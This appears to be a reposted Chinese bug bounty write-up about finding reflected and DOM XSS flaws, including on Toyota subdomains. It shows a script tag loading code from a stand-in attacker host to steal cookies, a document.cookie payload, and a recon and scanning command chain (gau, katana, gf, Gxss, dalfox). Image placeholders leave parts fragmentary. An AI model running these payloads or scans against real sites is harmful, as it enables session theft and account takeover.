forever young
01
背景
今天我将讨论使用不同技术的多种跨站脚本(XSS) 攻击,这是我在参与各种漏洞赏金计划时发现的。
XSS:(跨站脚本)是一种安全漏洞,当攻击者向其他用户查看的网页中注入恶意脚本时,这种漏洞就会发生。XSS 攻击旨在在受害者浏览器的上下文中执行恶意脚本,从而使攻击者能够窃取敏感信息。例如,在 javascript 中,如果攻击者能够注入像这样的内容:
<script src=https://attacker_Server.com/attack.js></script>
// 从攻击者服务器加载恶意 Java 脚本文件,该文件执行恶意操作,例如从受害者那里窃取敏感数据(如会话 cookie)和获取帐户接管。
02
XSS类型
安全小白团
1. 反射型XSS
是最简单的一种XSS。当应用程序在HTTP请求中接收数据,并以不安全的方式将该数据包含在响应中时,就会发生这种情况。例如:如果我们在网站中有一个用于过滤衣服的类别参数,比如“https://example.com?category=t-shirt”,并且这个值以不安全的方式被回显在响应中,如<p>t-shirt</p>,这意味着我们可以注入我们的恶意负载,如<p><script>alert(document.cookie)</script></p>,以获取会话cookie。
https://portswigger.net/web-security/cross-site-scripting/dom-based
03
丰田中的严重DOM XSS
安全小白团
httpx -l subdomains.txt -o httpx.txt
echo "toyota.com" | gau --threads 5 >> Enpoints.txt
cat httpx.txt | katana -jc Enpoints.txt
cat Enpoints.txt | uro >> Endpoints_F.txt
gau:一个工具,可以从Wayback Machine中获取任何域名的已知URL。
https://github.com/lc/gau
katana:一个专注于深度网络爬虫的强大工具。
https://github.com/projectdiscovery/katana
uro:一个很好的工具,用于从收集到的端点中过滤掉不相关/重复的内容。例如,如果我们有多个URL,如https://example.com?id=1和https://example.com?id=2,uro会将其过滤为仅一个URL。
https://github.com/s0md3v/uro
https://github.com/tomnomnom/gf
https://github.com/1ndianl33t/Gf-Patterns
cat Endpoints_F.txt | gf xss >> XSS.txt
用于获取可能容易受到XSS攻击的带有参数的URL。
https://github.com/KathanP19/Gxss
cat XSS.txt | Gxss -p khXSS -o XSS_Ref.txt
https://github.com/hahwul/dalfox
dalfox file XSS_Ref.txt -o Vulnerable_XSS.txt
https://portswigger.net/web-security/cross-site-scripting/dom-based
0
当时,我很好奇这是否是唯一的漏洞参数,还是存在其他参数,以及为什么会发生这种情况。我发现了很多存在漏洞的参数。
https://portswigger.net/web-security/cross-site-scripting/dom-based
1
https://portswigger.net/web-security/cross-site-scripting/dom-based
2
https://portswigger.net/web-security/cross-site-scripting/dom-based
3
不幸的是,这意味着我可以对任何用户执行完整的账户接管(RXSS)。我已经详细报告了这个漏洞,并得到了确认。
04
背景漏洞赏金计划中的中等难度反射性XSS
安全小白团
反射型 XSS是最常见的漏洞之一,也相对容易发现,但我要谈谈我多次遇到的一些特殊情况。
在对targets.com进行侦察并收集所有相关信息后,我收集了各个URL。我发现了一个非常有趣的URL,给我展示了以下页面。
https://portswigger.net/web-security/cross-site-scripting/dom-based
4
当我导航到基础URL时,我收到了一个403 Forbidden(禁止访问)的错误。
我使用自定义的单词列表和dirsearch工具对基础URL和其他URL进行了模糊测试。
https://portswigger.net/web-security/cross-site-scripting/dom-based
5
但是,我并没有得到任何重要的结果。那么,关于隐藏参数我们该怎么做呢?让我们使用 Arjun 工具或 Param Miner 扩展来扫描,这些工具可以通过发送不同的请求(如 GET、POST、JSON、XML)来发现有效的查询参数。
https://portswigger.net/web-security/cross-site-scripting/dom-based
6
响应
接下来,让我们针对 auth_status 参数尝试不同的注入,如 XSS、SQLi 等。但为了不浪费时间,我将专注于反射型 XSS。
https://portswigger.net/web-security/cross-site-scripting/dom-based
7
https://portswigger.net/web-security/cross-site-scripting/dom-based
8
专业提醒:当你发现类似这样的漏洞时,请尝试看看子域名是否也易受同样的漏洞影响。这就是我在收集[*.dev.targets.com]的子域名时所做的事情,我发现了大约四个易受攻击的子域名。但当我报告它们时,审查团队认为它们属于同一个漏洞,最终我获得了赏金。
注意:你可以使用ffuf工具对子域名进行模糊测试,只需使用完整的URL即可。
https://portswigger.net/web-security/cross-site-scripting/dom-based
9
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...